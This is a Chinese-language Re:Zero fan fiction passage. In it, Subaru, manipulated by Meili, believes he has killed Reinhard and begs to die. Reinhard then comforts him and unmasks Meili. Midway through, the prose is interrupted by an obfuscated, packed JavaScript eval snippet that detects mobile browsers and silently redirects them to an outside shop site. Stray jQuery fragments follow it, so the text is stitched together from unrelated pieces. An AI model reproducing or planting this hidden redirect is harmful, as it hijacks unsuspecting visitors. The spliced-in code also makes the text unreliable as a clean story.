菜月昴从一段噩梦中醒来,他伸出自己的双手,干净的。
抬起头喘了口气。
是噩梦啊……
他心想,真好真好,什么都没发生。
往后退了一步,却发现自己站在满地血污之中,头皮发麻,惊悚感夺走了呼吸,大口喘息也好似鱼脱水了般的,从心底里生出干涸。墙上密密麻麻写满了“老子是菜月昴,老子天下第一,天上天下唯我独尊,菜月昴,菜月昴,菜月昴,
杀死了剑圣莱茵哈鲁特·范·阿斯特雷亚的,是我!!”
荒谬的喜悦感把他的心掠夺了。
不是的!
——不是这样的!
他浑身战栗不敢去看身后的场景,但有的事不是不面对,就可以当作不存在的。
无声的哀嚎。
抱起沾血的白制服,碰到冰凉的手,俊秀的脸庞,声音颤抖:
为什么?为什么?
“为什么我可以杀死莱茵哈鲁特·范·阿斯特雷亚?”
梅莉也笑了:[谁知道呢?也许是因为莱茵哈鲁特对你全无防备吧~]
呐!?
“为什么他没有死而复生?不是有不死鸟的加护吗,为什么不起来?!”菜月昴手脚发颤地一遍遍摸对方的脉搏,泪水嚎啕,乱七八糟,抱着对方的身体感到彻底的绝望和无力。
[哈哈~]
梅莉笑着说,却用一把把刀匕似的话语插进菜月昴的要害:
[撒~我想想,是因为被背刺伤透了心,对你失望,不愿意再醒过来了吧。]
[对方明明是那么的信任你,剑圣,本来是毫无破绽的完美之人。]
[却不记得防备来自身后的暗刀,哈哈,多么有趣,辜负了对方信任的你啊,他心已死……]
伴随梅莉迈着端庄的小步子欢快雀跃地走过来,菜月昴在伤痛悲切中浸透,刺骨冰冷。
若是剑圣能在一阵明烈的火中复苏。
梅莉笑眯眯地说:
[心一旦坏掉了,就无法修补了呀~]
他隐约记起了对方被自己刺死时微笑所说最后的话:
“果然,被亲近的人杀死,感觉会有点不一样。”
你到底在说什么??
菜月昴双手捂脸悲切地哭,明白一切已经无可挽回了,他真的杀死了剑圣莱茵哈鲁特,他珍视的朋友。
由于这场背叛来自亲近的自己,莱茵哈鲁特拒绝了世界对他的复活。
造成了无可挽回后果的自己……
就这样
……
……
……
以死谢罪比较好吧。
紫发小女孩天真无邪地绕他打量一圈,说:[咦,这就玩坏了吗?]
.
下一秒。
菜月昴再次置身和刚刚同样的场景,地点和在场的人,都完全相同。梅莉依然是恶魔般的蛊惑样子,莱茵哈鲁特?莱茵哈鲁特呢?!
菜月昴迅速甩开干净的手,抬起头,看到自己对面站了担忧的剑圣。
英俊的红发青年对他问:
“怎么了?”
菜月昴几乎不敢相信,对此时此刻有种不真实感,刚才都发生了什么。
梅莉阴沉着脸,用堪称粗野的语气,大声吼道:[大哥哥,你还真是比我想的强很多,受到这么强烈的精神干涉都没有下手~]
[你,该不会是木头吧~]
梅莉若有似无地嘲讽。
菜月昴抬起颤抖的手碰剑圣的肩膀,刚碰到就忍不住额头抵住肩,任凭对方怎么叫都不抬起头,压抑哭腔拼命地说:“莱茵哈鲁特,呐,莱茵哈鲁特,你杀了我吧,杀了我。”
“我已经……不想再杀死你一次了,呜呜……”
菜月昴哽咽地停不住。
莱茵哈鲁特表示疑惑,揉了揉头:“昴,你怎么会杀死我呢?”
可是,我真的那么做了,我这个人,无可救药了。
菜月昴只是在咬牙回忆,像个十恶不赦的坏人似的尾随,将刀推入对自己全无防备剑圣的感受。
杀了我……那句话已经在口边打转,在我伤害你之前杀了我。
这个档已经不行了。
他有死亡回归。
“我没救了……”菜月昴小声低泣着说。
如果再来一次,他绝不会让自己身处精神脆弱的状态,不会被怪物般的自己乘虚而入。
不会成为同伴的危险。
让他重新来过……
莱茵哈鲁特垂眸看他,风一般温和轻轻笑起来,说:“其实,有个好消息,说好为昴找来契约的火精灵找到了。”
火精灵?
菜月昴有种恍若隔世的感觉,他都忘了自己离开王都是为了找契约的火精灵,学会魔法,走上巅峰的穿越者生涯。
可是事到如今找到火精灵还有什么意义?
菜月昴嗓音有一些发干:“那种事怎样都无所谓吧……”
他有一种困倦感,头稍微抵住对方的肩膀,自嘲般笑:“我快死了,用不到。”
莱茵哈鲁特耐心地说:“昴将来有火精灵契约的话,我也放心一些。”
菜月昴鼻子一酸,快掉下泪。
剑圣为他的事情是真心的感到开心,他之前怎么会怀疑莱茵哈鲁特是不是要虐杀他?
这明明,是很好的人啊。
[他是为了抛弃你~]
梅莉又出现了,清脆的在旁边耳语,双手背到后面,样子很快活:
把拖累废物丢给了契约火精灵,剑圣当然开心啦!
闭嘴。
讨厌吗,担忧吗,不想要被扔掉吗,在那之前先下手就好了……
梅莉不放过菜月昴~
让剑圣的关切只能属于自己。
菜月昴手背遮住了眼睛,只露出脆弱的咽喉,说:“你必须,现在,立刻,就在这里杀死我。”
你不明白。
为什么死亡回归的秘密,无论如何还是没法说出口?菜月昴胸口哽得难受,却就是没法说出来。
莱茵哈鲁特还是没对他下手的意思,如果说不出来恐怕无法做到。
莱茵哈鲁特守在菜月昴身边,如同一场漫长的凌迟般,说道:“等昴契约火精灵,菲鲁特小姐肯定会说,你这家伙也成为阵营重要战力了~拉珍斯说不定很有危机感,毕竟他在上次黑/道事件之后就做不出像样成绩了。
“还有奥托,他和昴的关系很好吧,我在骑士团还有几个朋友,没有介绍给昴认识。”
“尤里乌斯的话,说不定和昴很谈得来,哈哈~你们不要打起来就好了呢~”
“大家都在王都等你回去。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724017|207800||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
莱茵哈鲁特说。
可是这些话对一个将死之人,和折磨有什么区别呢?
菜月昴颤抖起来,很想说不公平,为什么,他都下定决心要死亡回归了,为什么唤醒他对生存的渴望。
那样的话……他做不到……
他有多希望莱茵哈鲁特杀死自己——
“我能理解。”
红发骑士把手扶在心脏,宣誓那般说。
菜月昴看到对方动作,忽然间明白几天内剑圣身上的血味是去了哪里。
他不可思议睁大眼睛,难道对方知道[死亡回归]?这几天他所以为对方的恶劣癖好其实是去做了什么。
突然间明白了答案。
所以莱茵哈鲁特身上的血味是因为——因为一件、只是想明白了、就让菜月昴想要流泪的理由。
“昴,很怕痛对不对?”莱茵哈鲁特尽己所能,也只能如此浅表地理解自己的朋友。
我理解你做出的选择。理解你的痛苦。
他完全清楚菜月昴在向自己请求什么。
因此相对应的,莱茵哈鲁特拉了拉菜月昴的手,说道:
“昴,其实可以更珍视自己的性命一点。”
……
菜月昴捂住眼睛,突然满肚子委屈都克制不住了。
他不是第一次认知到对方的无敌和强大,怎么连、怎么连他在死亡回归,都可以默默知道?
他以为的只有自己能承受的事,原来还可以,有朋友分享的吗?
莱茵哈鲁特抓住了好像在承受无尽痛苦的少年的手,说:“让你独自承担至今为止的痛苦,是我的失德和无能,昴说自己没救了这件事,我无法认可。”
“如果真的,真的十分痛苦……”
莱茵哈鲁特停顿了一下,说:
“如果只是担心给其他人添麻烦的话——我其实从来不觉得昴是我的拖累。”
菜月昴却感到胆怯,蜷缩上半身说:“可是,那会需要很久,我根本不知道我的精神什么时候能好,而且说不定在那之前……我会背刺你!”
这时候的菜月昴,果然很像一只缩起来的灰猫,让莱茵哈鲁特不由得顺了顺毛,笑了笑说:
“那,我们就一点一点的走回去,累了就停下来,想休息的时候随时可以休息。”
“从零开始。”
……
这样的发展让梅莉也找不到挑拨的下口余地了,急得团团转,用力拔紫色的头发。
[可恶,可恶啊。]
菜月昴在注视中偏了偏头心虚地避开视线,他不是很想承认现在自己在想,既然死亡那么痛那么冷,剑圣的肩膀又如此温暖如此强大。
他突然很想,在对方的保护中躲一会。
莱茵哈鲁特弯弯双眸,笑了起来:
“有我在。”
保证通关。
梅莉狂躁地走来走去抓头发时,突然发出惨叫,细细的手臂好像触电般抖动起来,悲惨地大呼:[你这家伙,做了什么啊啊?!!]
在梅莉瑟缩身躯的对面,剑圣莱茵哈鲁特的蓝眸中,第一次映出了这名隐藏身边的敌人,莱茵哈鲁特扶剑微笑,与梅莉倒地的样子对比鲜明,剑圣的强大名至实归。
莱茵哈鲁特慢条斯理地说:
“看起来抓到你了——暴食第三位大罪司教。”